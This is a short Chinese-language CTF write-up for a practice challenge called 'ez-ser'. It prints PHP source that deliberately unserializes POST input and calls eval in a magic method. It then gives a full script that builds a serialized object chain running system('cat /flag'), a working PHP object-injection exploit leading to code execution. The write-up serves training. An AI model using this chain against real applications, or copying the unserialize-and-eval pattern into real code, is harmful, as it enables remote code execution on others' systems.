题目来源于青少年CTF练习平台——ez-ser
打开网页给出源码
class GIT {
public $username;
public $password;
public function __construct(){
$this -> username = 'guest';
$this -> password = 'welcom to GITCTF!';
}
//如果用户名为 ‘ZeroZone’；则输出密码；否则输出提示信息
public function __destruct(){
if($this -> username == 'ZeroZone'){
echo $this -> password;
}
else{
echo 'ZeroZone Lab new bee !';
}
}
}
class ZeroZone{
public $code;
public function __toString(){
if(isset($this -> code)){
eval($this -> code);
return '';
}
else{
echo "代码呢？";
return '';
}
}
}//创建一个新的GIT类实例
$data = new GIT();
if(isset ($_POST['data'])){
$data = unserialize($_POST['data']);
}让$data->username == 'ZeroZone'，并让 $data->password
由于__destruct()会输出$data->password，如果能让$data->password为一个ZeroZone对象，并且触发__toString()，就可以执行任意代码
<?php
class GIT {
public $username;
public $password;
}
class ZeroZone {
public $code;
}
//构造恶意对象链
$zero = new ZeroZone();
$zero -> code = "system('cat /flag');";
$git = new GIT();
//触发密码输出条件
$git -> username = 'ZeroZone';
//触发__toString()方法
$git -> password = $zero;
//生成payload
echo serialize($git);
?>
-END-